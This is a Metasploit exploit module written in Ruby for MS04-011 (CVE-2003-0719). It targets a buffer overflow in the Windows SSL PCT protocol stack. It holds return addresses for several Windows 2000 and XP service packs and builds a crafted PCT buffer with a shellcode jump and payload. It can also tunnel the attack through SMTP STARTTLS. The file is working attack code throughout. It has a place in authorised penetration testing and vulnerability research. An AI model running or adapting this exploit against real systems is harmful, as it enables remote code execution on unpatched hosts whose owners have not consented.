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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'MS04-011 Microsoft Private Communications Transport Overflow',
'Description' => %q{
This module exploits a buffer overflow in the Microsoft
Windows SSL PCT protocol stack. This code is based on Johnny
Cyberpunk's THC release and has been tested against Windows
2000 and Windows XP. To use this module, specify the remote
port of any SSL service, or the port and protocol of an
application that uses SSL. The only application protocol
supported at this time is SMTP. You only have one chance to
select the correct target, if you are attacking IIS, you may
want to try one of the other exploits first (WebDAV). If
WebDAV does not work, this more than likely means that this
is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS
5.1). Using the wrong target may not result in an immediate
crash of the remote system.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2003-0719'],
[ 'OSVDB', '5250'],
[ 'BID', '10116'],
[ 'MSB', 'MS04-011'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1800,
'BadChars' => "",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows 2000 SP4',
{
'Platform' => 'win',
'Ret' => 0x67419ce8, # jmp [esp + 0x6c]
},
],
[
'Windows 2000 SP3',
{
'Platform' => 'win',
'Ret' => 0x67419e1d, # jmp [esp + 0x6c]
},
],
[
'Windows 2000 SP2',
{
'Platform' => 'win',
'Ret' => 0x6741a426, # jmp [esp + 0x6c]
},
],
[
'Windows 2000 SP1',
{
'Platform' => 'win',
'Ret' => 0x77e4f44d, # jmp [ebx + 0x14]
},
],
[
'Windows 2000 SP0',
{
'Platform' => 'win',
'Ret' => 0x7658a6cb, # jmp [ebx + 0x0e]
},
],
[
'Windows XP SP0',
{
'Platform' => 'win',
'Ret' => 0x0ffb7de9, # jmp [esp + 0x6c]
},
],
[
'Windows XP SP1',
{
'Platform' => 'win',
'Ret' => 0x0ffb832f, # jmp [esp + 0x6c]
},
],
],
'DisclosureDate' => 'Apr 13 2004',
'DefaultTarget' => 0))
register_options(
[
OptString.new('PROTO', [true, "The application protocol: raw or smtp", "raw"])
])
end
def exploit
begin
connect
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused => e
print_error("Cannot connect: #{e.message}")
return
end
print_status("Trying target #{target.name} with proto #{datastore['PROTO']}...")
# This is a heap ptr to the ssl request
# ... and just happens to not die ...
# Thanks to CORE and Halvar
#
# 80620101 => and byte ptr [esi+1], 0x2
# bd00010001 => mov ebp, 0x1000100
# 0016 => add [esi], dl
# 8f8201000000 => pop [esi+1]
# eb0f => jmp short 11 to shellcode
buf = "\x80\x66\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x86\x01\x00\x00\x00"+
"\xeb\x0f" + 'XXXXXXXXXXX' +
[target.ret ^ 0xffffffff].pack('V')+
payload.encoded
# Connect to a SMTP service, call STARTTLS
if (datastore['PROTO'] == 'smtp')
begin
greeting = sock.get_once
rescue ::EOFError => e
print_error("Failed to receive data for the protocol greeting: #{e.message}")
return
end
begin
sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n")
resp = sock.get_once
rescue ::Timeout::Error
print_error("Timedout while sending HELO")
return
rescue ::EOFError => e
print_error("Failed to receive a response for HELO: #{e.message}")
return
end
begin
sock.put("STARTTLS\r\n")
resp = sock.get_once
rescue ::Timeout::Error
print_error("Timed out while sending STARTTLS")
return
rescue ::EOFError => e
print_error("Failed to receive a response for STARTTLS: #{e.message}")
return
end
if (resp and resp !~ /^220/)
print_warning("Warning: this server may not support STARTTLS")
end
end
begin
sock.put(buf)
resp = sock.get_once
rescue ::Timeout::Error => e
print_error("Timed out while sending the malicious data")
return
rescue ::EOFError => e
print_error("Failed to receive a response after the malicious data: #{e.message}")
return
end
if (resp == "\x00\x00\x01")
print_status("The response indicates that the PCT protocol is disabled")
end
handler
disconnect
end
end